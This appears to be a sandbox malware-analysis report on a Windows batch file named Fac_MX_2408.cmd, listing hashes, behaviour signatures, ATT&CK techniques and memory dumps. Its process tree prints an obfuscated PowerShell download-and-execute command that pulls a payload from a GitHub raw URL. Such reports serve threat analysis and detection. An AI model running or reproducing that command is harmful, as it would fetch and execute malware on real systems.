ee1d22288302c18f566cf3e4ef411cdc31c0d366382c4d7f359dd6b99d3cdd27

Analysis

max time kernel
14s
max time network
18s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
25-08-2023 06:11

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General

Target

Fac_MX_2408.cmd
Size

881B
MD5

fcd11a959a91f83b1f8da6ab74d70c3d
SHA1

e448c89e46bb2051929d65529360ff32be8bc2ab
SHA256

ae5aaa8156075d332692cd5e33918794be258be995d3e49f0c598dc733f3047f
SHA512

a39cff77f5b5761bca72a7496ffcc92c00845dbbed20db8f2810fbc5535b6b8ffc441d61464656cb0c1d29155da522da896cf5d5808f3275b015607da41b5c06

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow	pid	Process
5	2672	powershell.exe
6	2672	powershell.exe

Deletes itself 1 IoCs

Processes:

cmd.exe

pid	Process
1712	cmd.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid	Process
2672	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	2672	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	Process	procid_target
PID 1712 wrote to memory of 2016	1712	cmd.exe	30
PID 1712 wrote to memory of 2016	1712	cmd.exe	30
PID 1712 wrote to memory of 2016	1712	cmd.exe	30
PID 1712 wrote to memory of 2672	1712	cmd.exe	29
PID 1712 wrote to memory of 2672	1712	cmd.exe	29
PID 1712 wrote to memory of 2672	1712	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Fac_MX_2408.cmd"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  WindowsPowerShell\v1.0\powershell.exe -nop -win 1 -
  2⤵
  - Blocklisted process makes network request
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo ieX("Ie`X`(N`ew-oBJ`e`Ct N`et.`Web`ClIeNt`).DOwnlOa`d`StRIN`G('https://raw.githubusercontent.com/factu1/factu1/main/8.txt')"); "
  2⤵
  PID:2016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2672-4-0x000000001B240000-0x000000001B522000-memory.dmp

Filesize
2.9MB

Download
memory/2672-5-0x00000000022F0000-0x00000000022F8000-memory.dmp

Filesize
32KB

Download
memory/2672-6-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

Filesize
9.6MB

Download
memory/2672-7-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

Filesize
9.6MB

Download
memory/2672-8-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2672-9-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2672-10-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2672-11-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2672-12-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2672-13-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

Filesize
9.6MB

Download